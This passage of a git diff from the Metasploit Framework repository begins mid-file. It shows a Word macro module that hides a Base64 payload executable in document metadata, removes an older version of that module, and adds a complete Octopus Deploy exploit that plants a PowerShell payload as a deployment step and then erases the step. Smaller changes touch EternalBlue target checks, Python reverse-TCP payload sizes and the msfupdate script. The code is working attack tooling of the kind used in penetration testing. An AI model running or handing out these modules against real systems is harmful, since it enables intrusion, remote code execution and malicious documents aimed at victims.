fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node.')
|
||||
end
|
||||
|
||||
last_index = get_last_relationship_index_from_doc_rels
|
||||
relationships_node.add_child("<Relationship Id=\"rId#{last_index+1}\" Type=\"#{type}\" Target=\"#{target}\"/>")
|
||||
end
|
||||
|
||||
def get_last_relationship_index_from_rels
|
||||
rels_xml = get_file_in_docx('_rels/.rels')
|
||||
relationships_node = rels_xml.at('Relationships')
|
||||
|
||||
unless relationships_node
|
||||
fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node')
|
||||
end
|
||||
|
||||
relationships_node.search('Relationship').collect { |n|
|
||||
n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i
|
||||
}.max
|
||||
end
|
||||
|
||||
def get_last_relationship_index_from_doc_rels
|
||||
rels_xml = get_file_in_docx('word/_rels/document.xml.rels')
|
||||
relationships_node = rels_xml.at('Relationships')
|
||||
|
||||
unless relationships_node
|
||||
fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node')
|
||||
end
|
||||
|
||||
relationships_node.search('Relationship').collect { |n|
|
||||
n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i
|
||||
}.max
|
||||
end
|
||||
|
||||
def inject_macro
|
||||
add_content_type_extension('bin', 'application/vnd.ms-office.vbaProject')
|
||||
add_content_type_partname('/word/vbaData.xml', 'application/vnd.ms-word.vbaData+xml')
|
||||
|
||||
pattern = 'Override[@PartName="/word/document.xml"]'
|
||||
attribute_name = 'ContentType'
|
||||
scheme = 'application/vnd.ms-word.document.macroEnabled.main+xml'
|
||||
update_content_type(pattern, attribute_name, scheme)
|
||||
|
||||
scheme = 'http://schemas.microsoft.com/office/2006/relationships/vbaProject'
|
||||
fname = 'vbaProject.bin'
|
||||
add_doc_relationship(scheme, fname)
|
||||
|
||||
@docx << { fname: 'word/vbaData.xml', data: get_vbadata_xml }
|
||||
@docx << { fname: 'word/_rels/vbaProject.bin.rels', data: get_vbaproject_bin_rels}
|
||||
@docx << { fname: 'word/vbaProject.bin', data: get_vbaproject_bin}
|
||||
end
|
||||
|
||||
def get_vbadata_xml
|
||||
File.read(File.join(macro_resource_directory, 'vbaData.xml'))
|
||||
end
|
||||
|
||||
def get_vbaproject_bin_rels
|
||||
File.read(File.join(macro_resource_directory, 'vbaProject.bin.rels'))
|
||||
end
|
||||
|
||||
def get_vbaproject_bin
|
||||
File.read(File.join(macro_resource_directory, 'vbaProject.bin'))
|
||||
end
|
||||
|
||||
def get_core_xml
|
||||
File.read(File.join(macro_resource_directory, 'core.xml'))
|
||||
end
|
||||
|
||||
def create_core_xml_file
|
||||
add_content_type_partname('/docProps/core.xml', 'application/vnd.openxmlformats-package.core-properties+xml')
|
||||
add_rels_relationship('http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties', 'docProps/core.xml')
|
||||
@docx << { fname: 'docProps/core.xml', data: Nokogiri::XML(get_core_xml) }
|
||||
end
|
||||
|
||||
def inject_payload
|
||||
p = padding = ' ' * 55
|
||||
p << Rex::Text.encode_base64(target.name =~ /Python/i ? payload.encoded : generate_payload_exe)
|
||||
|
||||
begin
|
||||
core_xml = get_file_in_docx('docProps/core.xml')
|
||||
rescue Msf::Exploit::Failed
|
||||
end
|
||||
|
||||
unless core_xml
|
||||
print_status('Missing docProps/core.xml to inject the payload to. Using the default one.')
|
||||
create_core_xml_file
|
||||
core_xml = get_file_in_docx('docProps/core.xml')
|
||||
end
|
||||
|
||||
description_node = core_xml.at('//cp:coreProperties//dc:description')
|
||||
description_node.content = p
|
||||
end
|
||||
|
||||
def unpack_docx(template_path)
|
||||
doc = []
|
||||
|
||||
Zip::File.open(template_path) do |entries|
|
||||
entries.each do |entry|
|
||||
if entry.name.match(/\.xml|\.rels$/i)
|
||||
content = Nokogiri::XML(entry.get_input_stream.read)
|
||||
else
|
||||
content = entry.get_input_stream.read
|
||||
end
|
||||
|
||||
vprint_status("Parsing item from template: #{entry.name}")
|
||||
|
||||
doc << { fname: entry.name, data: content }
|
||||
end
|
||||
end
|
||||
|
||||
doc
|
||||
end
|
||||
|
||||
def pack_docm
|
||||
@docx.each do |entry|
|
||||
if entry[:data].kind_of?(Nokogiri::XML::Document)
|
||||
entry[:data] = entry[:data].to_s
|
||||
end
|
||||
end
|
||||
|
||||
Msf::Util::EXE.to_zip(@docx)
|
||||
end
|
||||
|
||||
def macro_resource_directory
|
||||
@macro_resource_directory ||= File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
|
||||
end
|
||||
|
||||
def get_template_path
|
||||
if datastore['CUSTOMTEMPLATE']
|
||||
datastore['CUSTOMTEMPLATE']
|
||||
else
|
||||
File.join(macro_resource_directory, 'template.docx')
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status('Generating our docm file...')
|
||||
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
|
||||
docm = package_docm(path)
|
||||
template_path = get_template_path
|
||||
|
||||
unless File.extname(template_path).match(/\.docx$/i)
|
||||
fail_with(Failure::BadConfig, 'Template is not a docx file.')
|
||||
end
|
||||
|
||||
print_status("Using template: #{template_path}")
|
||||
@docx = unpack_docx(template_path)
|
||||
|
||||
print_status('Injecting payload in document comments')
|
||||
inject_payload
|
||||
|
||||
print_status('Injecting macro and other required files in document')
|
||||
inject_macro
|
||||
|
||||
print_status("Finalizing docm: #{datastore['FILENAME']}")
|
||||
docm = pack_docm
|
||||
file_create(docm)
|
||||
super
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [[ 'Webim 1.580', { }]],
|
||||
'Targets' => [[ 'Webmin 1.580', { }]],
|
||||
'DisclosureDate' => 'Sep 06 2012',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
|
|
|
@ -1,111 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex/zip'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2017, 3, 16), 'exploit/multi/fileformat/office_word_macro')
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Microsoft Office Word Malicious Macro Execution",
|
||||
'Description' => %q{
|
||||
This module generates a macro-enabled Microsoft Office Word document. The comments
|
||||
metadata in the data is injected with a Base64 encoded payload, which will be
|
||||
decoded by the macro and execute as a Windows executable.
|
||||
|
||||
For a successful attack, the victim is required to manually enable macro execution.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'sinn3r' # Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
'DisablePayloadHandler' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
['Microsoft Office Word', {}],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Jan 10 2012",
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new("BODY", [false, 'The message for the document body', '']),
|
||||
OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm'])
|
||||
])
|
||||
end
|
||||
|
||||
|
||||
def on_file_read(short_fname, full_fname)
|
||||
buf = File.read(full_fname)
|
||||
|
||||
case short_fname
|
||||
when /document\.xml/
|
||||
buf.gsub!(/DOCBODYGOESHER/, datastore['BODY'])
|
||||
when /core\.xml/
|
||||
b64_payload = ' ' * 55
|
||||
b64_payload << Rex::Text.encode_base64(generate_payload_exe)
|
||||
buf.gsub!(/PAYLOADGOESHERE/, b64_payload)
|
||||
end
|
||||
|
||||
# The original filename of __rels is actually ".rels".
|
||||
# But for some reason if that's our original filename, it won't be included
|
||||
# in the archive. So this hacks around that.
|
||||
case short_fname
|
||||
when /__rels/
|
||||
short_fname.gsub!(/\_\_rels/, '.rels')
|
||||
end
|
||||
|
||||
yield short_fname, buf
|
||||
end
|
||||
|
||||
|
||||
def package_docm(path)
|
||||
zip = Rex::Zip::Archive.new
|
||||
|
||||
Dir["#{path}/**/**"].each do |file|
|
||||
p = file.sub(path+'/','')
|
||||
|
||||
if File.directory?(file)
|
||||
print_status("Packaging directory: #{file}")
|
||||
zip.add_file(p)
|
||||
else
|
||||
on_file_read(p, file) do |fname, buf|
|
||||
print_status("Packaging file: #{fname}")
|
||||
zip.add_file(fname, buf)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
zip.pack
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
print_status('Generating our docm file...')
|
||||
path = File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
|
||||
docm = package_docm(path)
|
||||
file_create(docm)
|
||||
super
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,406 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/exploit/powershell'
|
||||
require 'json'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Powershell
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Octopus Deploy Authenticated Code Execution',
|
||||
'Description' => %q{
|
||||
This module can be used to execute a payload on an Octopus Deploy server given
|
||||
valid credentials or an API key. The payload is execued as a powershell script step
|
||||
on the Octopus Deploy server during a deployment.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'James Otten <jamesotten1[at]gmail.com>' ],
|
||||
'References' =>
|
||||
[
|
||||
# Octopus Deploy docs
|
||||
[ 'URL', 'https://octopus.com' ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 30,
|
||||
'EXITFUNC' => 'process'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows Powershell', { 'Platform' => [ 'windows' ], 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'May 15 2017'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
|
||||
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
|
||||
OptString.new('APIKEY', [ false, 'API key to use instead of username and password']),
|
||||
OptString.new('PATH', [ true, 'URI of the Octopus Deploy server. Default is /', '/']),
|
||||
OptString.new('STEPNAME', [false, 'Name of the script step that will be temporarily added'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = nil
|
||||
if datastore['APIKEY']
|
||||
res = check_api_key
|
||||
elsif datastore['USERNAME'] && datastore['PASSWORD']
|
||||
res = do_login
|
||||
else
|
||||
begin
|
||||
fail_with(Failure::BadConfig, 'Need username and password or API key')
|
||||
rescue Msf::Exploit::Failed => e
|
||||
vprint_error(e.message)
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
disconnect
|
||||
return CheckCode::Unknown if res.nil?
|
||||
if res.code.between?(400, 499)
|
||||
vprint_error("Server rejected the credentials")
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Generate the powershell payload
|
||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, use_single_quotes: true)
|
||||
step_name = datastore['STEPNAME'] || rand_text_alphanumeric(4 + rand(32 - 4))
|
||||
session = create_octopus_session unless datastore['APIKEY']
|
||||
|
||||
#
|
||||
# Get project steps
|
||||
#
|
||||
print_status("Getting available projects")
|
||||
project = get_project(session)
|
||||
project_id = project['Id']
|
||||
project_name = project['Name']
|
||||
print_status("Using project #{project_name}")
|
||||
|
||||
print_status("Getting steps to #{project_name}")
|
||||
steps = get_steps(session, project_id)
|
||||
added_step = make_powershell_step(command, step_name)
|
||||
steps['Steps'].insert(0, added_step)
|
||||
modified_steps = JSON.pretty_generate(steps)
|
||||
|
||||
#
|
||||
# Add step
|
||||
#
|
||||
print_status("Adding step #{step_name} to #{project_name}")
|
||||
put_steps(session, project_id, modified_steps)
|
||||
|
||||
#
|
||||
# Make release
|
||||
#
|
||||
print_status('Getting available channels')
|
||||
channels = get_channel(session, project_id)
|
||||
channel = channels['Items'][0]['Id']
|
||||
channel_name = channels['Items'][0]['Name']
|
||||
print_status("Using channel #{channel_name}")
|
||||
|
||||
print_status('Getting next version')
|
||||
version = get_version(session, project_id, channel)
|
||||
print_status("Using version #{version}")
|
||||
|
||||
release_params = {
|
||||
"ProjectId" => project_id,
|
||||
"ChannelId" => channel,
|
||||
"Version" => version,
|
||||
"SelectedPackages" => []
|
||||
}
|
||||
release_params_str = JSON.pretty_generate(release_params)
|
||||
print_status('Creating release')
|
||||
release_id = do_release(session, release_params_str)
|
||||
print_status("Release #{release_id} created")
|
||||
|
||||
#
|
||||
# Deploy
|
||||
#
|
||||
dash = do_get_dashboard(session, project_id)
|
||||
|
||||
environment = dash['Environments'][0]['Id']
|
||||
environment_name = dash['Environments'][0]['Name']
|
||||
skip_steps = do_get_skip_steps(session, release_id, environment, step_name)
|
||||
deployment_params = {
|
||||
'ReleaseId' => release_id,
|
||||
'EnvironmentId' => environment,
|
||||
'SkipActions' => skip_steps,
|
||||
'ForcePackageDownload' => 'False',
|
||||
'UseGuidedFailure' => 'False',
|
||||
'FormValues' => {}
|
||||
}
|
||||
deployment_params_str = JSON.pretty_generate(deployment_params)
|
||||
print_status("Deploying #{project_name} version #{version} to #{environment_name}")
|
||||
do_deployment(session, deployment_params_str)
|
||||
|
||||
#
|
||||
# Delete step
|
||||
#
|
||||
print_status("Getting updated steps to #{project_name}")
|
||||
steps = get_steps(session, project_id)
|
||||
print_status("Deleting step #{step_name} from #{project_name}")
|
||||
steps['Steps'].each do |item|
|
||||
steps['Steps'].delete(item) if item['Name'] == step_name
|
||||
end
|
||||
modified_steps = JSON.pretty_generate(steps)
|
||||
put_steps(session, project_id, modified_steps)
|
||||
print_status("Step #{step_name} deleted")
|
||||
|
||||
#
|
||||
# Wait for shell
|
||||
#
|
||||
handler
|
||||
end
|
||||
|
||||
def get_project(session)
|
||||
path = 'api/projects'
|
||||
res = send_octopus_get_request(session, path, 'Get projects')
|
||||
body = parse_json_response(res)
|
||||
body['Items'].each do |item|
|
||||
return item if item['IsDisabled'] == false
|
||||
end
|
||||
fail_with(Failure::Unknown, 'No suitable projects found.')
|
||||
end
|
||||
|
||||
def get_steps(session, project_id)
|
||||
path = "api/deploymentprocesses/deploymentprocess-#{project_id}"
|
||||
res = send_octopus_get_request(session, path, 'Get steps')
|
||||
body = parse_json_response(res)
|
||||
body
|
||||
end
|
||||
|
||||
def put_steps(session, project_id, steps)
|
||||
path = "api/deploymentprocesses/deploymentprocess-#{project_id}"
|
||||
send_octopus_put_request(session, path, 'Put steps', steps)
|
||||
end
|
||||
|
||||
def get_channel(session, project_id)
|
||||
path = "api/projects/#{project_id}/channels"
|
||||
res = send_octopus_get_request(session, path, 'Get channel')
|
||||
parse_json_response(res)
|
||||
end
|
||||
|
||||
def get_version(session, project_id, channel)
|
||||
path = "api/deploymentprocesses/deploymentprocess-#{project_id}/template?channel=#{channel}"
|
||||
res = send_octopus_get_request(session, path, 'Get version')
|
||||
body = parse_json_response(res)
|
||||
body['NextVersionIncrement']
|
||||
end
|
||||
|
||||
def do_get_skip_steps(session, release, environment, payload_step_name)
|
||||
path = "api/releases/#{release}/deployments/preview/#{environment}"
|
||||
res = send_octopus_get_request(session, path, 'Get skip steps')
|
||||
body = parse_json_response(res)
|
||||
skip_steps = []
|
||||
body['StepsToExecute'].each do |item|
|
||||
if (!item['ActionName'].eql? payload_step_name) && item['CanBeSkipped']
|
||||
skip_steps.push(item['ActionId'])
|
||||
end
|
||||
end
|
||||
skip_steps
|
||||
end
|
||||
|
||||
def do_release(session, params)
|
||||
path = 'api/releases'
|
||||
res = send_octopus_post_request(session, path, 'Do release', params)
|
||||
body = parse_json_response(res)
|
||||
body['Id']
|
||||
end
|
||||
|
||||
def do_get_dashboard(session, project_id)
|
||||
path = "api/dashboard/dynamic?includePrevious=true&projects=#{project_id}"
|
||||
res = send_octopus_get_request(session, path, 'Get dashboard')
|
||||
parse_json_response(res)
|
||||
end
|
||||
|
||||
def do_deployment(session, params)
|
||||
path = 'api/deployments'
|
||||
send_octopus_post_request(session, path, 'Do deployment', params)
|
||||
end
|
||||
|
||||
def make_powershell_step(ps_payload, step_name)
|
||||
prop = {
|
||||
'Octopus.Action.RunOnServer' => 'true',
|
||||
'Octopus.Action.Script.Syntax' => 'PowerShell',
|
||||
'Octopus.Action.Script.ScriptSource' => 'Inline',
|
||||
'Octopus.Action.Script.ScriptBody' => ps_payload
|
||||
}
|
||||
step = {
|
||||
'Name' => step_name,
|
||||
'Environments' => [],
|
||||
'Channels' => [],
|
||||
'TenantTags' => [],
|
||||
'Properties' => { 'Octopus.Action.TargetRoles' => '' },
|
||||
'Condition' => 'Always',
|
||||
'StartTrigger' => 'StartWithPrevious',
|
||||
'Actions' => [ { 'ActionType' => 'Octopus.Script', 'Name' => step_name, 'Properties' => prop } ]
|
||||
}
|
||||
step
|
||||
end
|
||||
|
||||
def send_octopus_get_request(session, path, nice_name = '')
|
||||
request_path = normalize_uri(datastore['PATH'], path)
|
||||
headers = create_request_headers(session)
|
||||
res = send_request_raw(
|
||||
'method' => 'GET',
|
||||
'uri' => request_path,
|
||||
'headers' => headers,
|
||||
'SSL' => ssl
|
||||
)
|
||||
check_result_status(res, request_path, nice_name)
|
||||
res
|
||||
end
|
||||
|
||||
def send_octopus_post_request(session, path, nice_name, data)
|
||||
res = send_octopus_data_request(session, path, data, 'POST')
|
||||
check_result_status(res, path, nice_name)
|
||||
res
|
||||
end
|
||||
|
||||
def send_octopus_put_request(session, path, nice_name, data)
|
||||
res = send_octopus_data_request(session, path, data, 'PUT')
|
||||
check_result_status(res, path, nice_name)
|
||||
res
|
||||
end
|
||||
|
||||
def send_octopus_data_request(session, path, data, method)
|
||||
request_path = normalize_uri(datastore['PATH'], path)
|
||||
headers = create_request_headers(session)
|
||||
headers['Content-Type'] = 'application/json'
|
||||
res = send_request_raw(
|
||||
'method' => method,
|
||||
'uri' => request_path,
|
||||
'headers' => headers,
|
||||
'data' => data,
|
||||
'SSL' => ssl
|
||||
)
|
||||
res
|
||||
end
|
||||
|
||||
def check_result_status(res, request_path, nice_name)
|
||||
if !res || res.code < 200 || res.code >= 300
|
||||
req_name = nice_name || 'Request'
|
||||
fail_with(Failure::UnexpectedReply, "#{req_name} failed #{request_path} [#{res.code} #{res.message}]")
|
||||
end
|
||||
end
|
||||
|
||||
def create_request_headers(session)
|
||||
headers = {}
|
||||
if session.blank?
|
||||
headers['X-Octopus-ApiKey'] = datastore['APIKEY']
|
||||
else
|
||||
headers['Cookie'] = session
|
||||
headers['X-Octopus-Csrf-Token'] = get_csrf_token(session, 'Octopus-Csrf-Token')
|
||||
end
|
||||
headers
|
||||
end
|
||||
|
||||
def get_csrf_token(session, csrf_cookie)
|
||||
key_vals = session.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/)
|
||||
key_vals.each do |name, value|
|
||||
return value if name.starts_with?(csrf_cookie)
|
||||
end
|
||||
fail_with(Failure::Unknown, 'CSRF token not found')
|
||||
end
|
||||
|
||||
def parse_json_response(res)
|
||||
begin
|
||||
json = JSON.parse(res.body)
|
||||
return json
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::Unknown, 'Failed to parse response json')
|
||||
end
|
||||
end
|
||||
|
||||
def create_octopus_session
|
||||
res = do_login
|
||||
if res && res.code == 404
|
||||
fail_with(Failure::BadConfig, 'Incorrect path')
|
||||
elsif !res || (res.code != 200)
|
||||
fail_with(Failure::NoAccess, 'Could not initiate session')
|
||||
end
|
||||
res.get_cookies
|
||||
end
|
||||
|
||||
def do_login
|
||||
json_post_data = JSON.pretty_generate({ Username: datastore['USERNAME'], Password: datastore['PASSWORD'] })
|
||||
path = normalize_uri(datastore['PATH'], '/api/users/login')
|
||||
res = send_request_raw(
|
||||
'method' => 'POST',
|
||||
'uri' => path,
|
||||
'ctype' => 'application/json',
|
||||
'data' => json_post_data,
|
||||
'SSL' => ssl
|
||||
)
|
||||
|
||||
if !res || (res.code != 200)
|
||||
print_error("Login failed")
|
||||
elsif res.code == 200
|
||||
report_octopusdeploy_credential
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def check_api_key
|
||||
headers = {}
|
||||
headers['X-Octopus-ApiKey'] = datastore['APIKEY'] || ''
|
||||
path = normalize_uri(datastore['PATH'], '/api/serverstatus')
|
||||
res = send_request_raw(
|
||||
'method' => 'GET',
|
||||
'uri' => path,
|
||||
'headers' => headers,
|
||||
'SSL' => ssl
|
||||
)
|
||||
|
||||
print_error("Login failed") if !res || (res.code != 200)
|
||||
|
||||
vprint_status(res.body)
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def report_octopusdeploy_credential
|
||||
service_data = {
|
||||
address: ::Rex::Socket.getaddress(datastore['RHOST'], true),
|
||||
port: datastore['RPORT'],
|
||||
service_name: (ssl ? "https" : "http"),
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
private_type: :password,
|
||||
private_data: datastore['PASSWORD'].downcase,
|
||||
username: datastore['USERNAME']
|
||||
}
|
||||
|
||||
credential_data.merge!(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
access_level: 'Admin',
|
||||
core: credential_core,
|
||||
last_attempted_at: DateTime.now,
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
}
|
||||
login_data.merge!(service_data)
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
|
@ -162,12 +162,24 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
client, tree, sock, os = smb1_anonymous_connect_ipc()
|
||||
print_good("Connection established for exploitation.")
|
||||
|
||||
if not verify_target(os)
|
||||
raise EternalBlueError, "Unable to continue with improper OS Target."
|
||||
if verify_target(os)
|
||||
print_good('Target OS selected valid for OS indicated by SMB reply')
|
||||
else
|
||||
print_warning('Target OS selected not valid for OS indicated by SMB reply')
|
||||
print_warning('Disable VerifyTarget option to proceed manually...')
|
||||
raise EternalBlueError, 'Unable to continue with improper OS Target.'
|
||||
end
|
||||
|
||||
#if not verify_arch
|
||||
#end
|
||||
# cool buffer print no matter what, will be helpful when people post debug issues
|
||||
print_core_buffer(os)
|
||||
|
||||
if verify_arch
|
||||
print_good('Target arch selected valid for arch indicated by DCE/RPC reply')
|
||||
else
|
||||
print_warning('Target arch selected not valid for arch indicated by DCE/RPC reply')
|
||||
print_warning('Disable VerifyArch option to proceed manually...')
|
||||
raise EternalBlueError, 'Unable to continue with improper OS Arch.'
|
||||
end
|
||||
|
||||
print_status("Trying exploit with #{grooms} Groom Allocations.")
|
||||
|
||||
|
@ -242,21 +254,70 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
break
|
||||
end
|
||||
end
|
||||
|
||||
if ret
|
||||
print_status("Target OS selected valid for OS indicated by SMB reply")
|
||||
else
|
||||
print_warning("Target OS selected not valid for OS indicated by SMB reply")
|
||||
print_warning("Disable VerifyTarget option to proceed manually...")
|
||||
end
|
||||
end
|
||||
|
||||
# cool buffer print no matter what, will be helpful when people post debug issues
|
||||
print_core_buffer(os)
|
||||
|
||||
return ret
|
||||
end
|
||||
|
||||
# https://github.com/CoreSecurity/impacket/blob/master/examples/getArch.py
|
||||
# https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53
|
||||
def verify_arch
|
||||
ret = false
|
||||
|
||||
return true if !datastore['VerifyArch']
|
||||
|
||||
pkt = Rex::Proto::DCERPC::Packet.make_bind(
|
||||
# Abstract Syntax: EPMv4 V3.0
|
||||
'e1af8308-5d1f-11c9-91a4-08002b14a0fa', '3.0',
|
||||
# Transfer Syntax[1]: 64bit NDR V1
|
||||
'71710533-beba-4937-8319-b5dbef9ccc36', '1.0'
|
||||
).first
|
||||
|
||||
begin
|
||||
sock = connect(false,
|
||||
'RHOST' => rhost,
|
||||
'RPORT' => 135
|
||||
)
|
||||
rescue Rex::ConnectionError => e
|
||||
print_error(e.to_s)
|
||||
return false
|
||||
end
|
||||
|
||||
sock.put(pkt)
|
||||
|
||||
begin
|
||||
res = sock.get_once(60)
|
||||
rescue EOFError
|
||||
print_error('DCE/RPC socket returned EOFError')
|
||||
return false
|
||||
end
|
||||
|
||||
disconnect(sock)
|
||||
|
||||
begin
|
||||
resp = Rex::Proto::DCERPC::Response.new(res)
|
||||
rescue Rex::Proto::DCERPC::Exceptions::InvalidPacket => e
|
||||
print_error(e.to_s)
|
||||
return false
|
||||
end
|
||||
|
||||
case target_arch.first
|
||||
when ARCH_X64
|
||||
# Ack result: Acceptance (0)
|
||||
if resp.ack_result.first == 0
|
||||
ret = true
|
||||
end
|
||||
when ARCH_X86
|
||||
# Ack result: Provider rejection (2)
|
||||
# Ack reason: Proposed transfer syntaxes not supported (2)
|
||||
if resp.ack_result.first == 2 && resp.ack_reason.first == 2
|
||||
ret = true
|
||||
end
|
||||
end
|
||||
|
||||
ret
|
||||
end
|
||||
|
||||
def print_core_buffer(os)
|
||||
print_status("CORE raw buffer dump (#{os.length.to_s} bytes)")
|
||||
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 362
|
||||
CachedSize = 454
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Python::ReverseTcp
|
||||
|
|
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
|
|||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 466
|
||||
CachedSize = 558
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Python
|
||||
|
|
28
msfupdate
28
msfupdate
|
@ -13,6 +13,8 @@ while File.symlink?(msfbase)
|
|||
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||
end
|
||||
|
||||
require 'backports'
|
||||
|
||||
class Msfupdate
|
||||
attr_reader :stdin
|
||||
attr_reader :stdout
|
||||
|
@ -132,12 +134,13 @@ class Msfupdate
|
|||
end
|
||||
|
||||
Dir.chdir(@msfbase_dir) do
|
||||
if git?
|
||||
update_git!
|
||||
if apt?
|
||||
stderr.puts "[-] ERROR: msfupdate is not supported on Kali Linux."
|
||||
stderr.puts "[-] Please run 'apt update; apt install metasploit-framework' instead."
|
||||
elsif binary_install?
|
||||
update_binary_install!
|
||||
elsif apt?
|
||||
update_apt!
|
||||
elsif git?
|
||||
update_git!
|
||||
else
|
||||
raise "Cannot determine checkout type: `#{@msfbase_dir}'"
|
||||
end
|
||||
|
@ -267,23 +270,6 @@ class Msfupdate
|
|||
end
|
||||
end
|
||||
|
||||
def update_apt!
|
||||
# For more information, see here:
|
||||
# https://community.rapid7.com/community/metasploit/blog/2013/01/17/metasploit-updates-and-msfupdate
|
||||
stdout.puts "[*] Checking for updates via the APT repository"
|
||||
stdout.puts "[*] Note: expect weekly(ish) updates using this method"
|
||||
system("apt-get", "-qq", "update")
|
||||
|
||||
framework_version = apt_upgrade_available('metasploit-framework')
|
||||
|
||||
if framework_version.blank?
|
||||
stdout.puts "[*] No updates available"
|
||||
else
|
||||
stdout.puts "[*] Updating to version #{framework_version}"
|
||||
system("apt-get", "install", "--assume-yes", "metasploit-framework")
|
||||
end
|
||||
end
|
||||
|
||||
# Adding an upstream enables msfupdate to pull updates from
|
||||
# Rapid7's metasploit-framework repo instead of the repo
|
||||
# the user originally cloned or forked.
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue